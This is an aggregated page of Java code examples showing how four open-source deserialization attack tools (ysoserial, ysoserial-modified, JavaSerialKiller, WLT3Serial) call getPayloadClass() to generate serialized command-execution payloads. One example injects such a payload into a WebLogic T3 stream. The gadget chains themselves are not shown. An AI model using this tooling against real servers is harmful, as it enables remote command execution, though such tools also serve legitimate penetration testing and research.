Java Code Examples for ysoserial.payloads.ObjectPayload.Utils#getPayloadClass()
The following examples show how to use
ysoserial.payloads.ObjectPayload.Utils#getPayloadClass() .
You can vote up the ones you like or vote down the ones you don't like,
and go to the original project or source file by following the links above each example. You may check out the related API usage on the sidebar.
Example 1
Source File: ClassTableEntry.java From WLT3Serial with MIT License | 6 votes |
@Override public void writeExternal(ObjectOutput oo) throws IOException { try { String payloadType = System.getProperty("bort.millipede.wlt3.type"); String command = System.getProperty("bort.millipede.wlt3.command"); if((payloadType != null) && (command != null) && !sent) { //if payload options are in JVM System properties and the payload does not appear to have been sent: write payload to T3 final Class<? extends ObjectPayload> payloadClass = Utils.getPayloadClass(payloadType); final ObjectPayload payload = payloadClass.newInstance(); oo.writeObject(payload.getObject(command)); sent = true; System.setProperty("bort.millipede.wlt3.sent",Boolean.toString(true)); } else { oo.writeObject(descriptor); } oo.writeBytes(annotation); } catch(Exception e) { System.err.println("Exception occurred in custom ClassTableEntry class writeExternal() method!!!"); e.printStackTrace(); } }
Example 2
Source File: GeneratePayload.java From ysoserial-modified with MIT License | 5 votes |
public static void main(final String[] args) { if (args.length != 3) { printUsage(); System.exit(USAGE_CODE); } final String payloadType = args[0]; final String terminalType = args[1]; final String command = args[2]; final Class<? extends ObjectPayload> payloadClass = Utils.getPayloadClass(payloadType); if (payloadClass == null) { System.err.println("Invalid payload type '" + payloadType + "'"); printUsage(); System.exit(USAGE_CODE); return; // make null analysis happy } if (!terminalTypes.contains(terminalType)) { System.err.println("Invalid terminal type '" + terminalType + "'"); printUsage(); System.exit(USAGE_CODE); return; // make null analysis happy } try { final ObjectPayload payload = payloadClass.newInstance(); CmdExecuteHelper cmdHelper = new CmdExecuteHelper(terminalType, command); final Object object = payload.getObject(cmdHelper); PrintStream out = System.out; Serializer.serialize(object, out); ObjectPayload.Utils.releasePayload(payload, object); } catch (Throwable e) { System.err.println("Error while generating or serializing payload"); e.printStackTrace(); System.exit(INTERNAL_ERROR_CODE); } System.exit(0); }
Example 3
Source File: GeneratePayload.java From JavaSerialKiller with MIT License | 5 votes |
public static void main(final String[] args) { if (args.length != 2) { printUsage(); System.exit(USAGE_CODE); } final String payloadType = args[0]; final String command = args[1]; final Class<? extends ObjectPayload> payloadClass = Utils.getPayloadClass(payloadType); if (payloadClass == null) { System.err.println("Invalid payload type '" + payloadType + "'"); printUsage(); System.exit(USAGE_CODE); } try { final ObjectPayload payload = payloadClass.newInstance(); final Object object = payload.getObject(command); PrintStream out = System.out; Serializer.serialize(object, out); } catch (Throwable e) { System.err.println("Error while generating or serializing payload"); e.printStackTrace(); System.exit(INTERNAL_ERROR_CODE); } System.exit(0); }
Example 4
Source File: GeneratePayload.java From ysoserial with MIT License | 5 votes |
public static void main(final String[] args) { if (args.length != 2) { printUsage(); System.exit(USAGE_CODE); } final String payloadType = args[0]; final String command = args[1]; final Class<? extends ObjectPayload> payloadClass = Utils.getPayloadClass(payloadType); if (payloadClass == null) { System.err.println("Invalid payload type '" + payloadType + "'"); printUsage(); System.exit(USAGE_CODE); return; // make null analysis happy } try { final ObjectPayload payload = payloadClass.newInstance(); final Object object = payload.getObject(command); PrintStream out = System.out; Serializer.serialize(object, out); ObjectPayload.Utils.releasePayload(payload, object); } catch (Throwable e) { System.err.println("Error while generating or serializing payload"); e.printStackTrace(); System.exit(INTERNAL_ERROR_CODE); } System.exit(0); }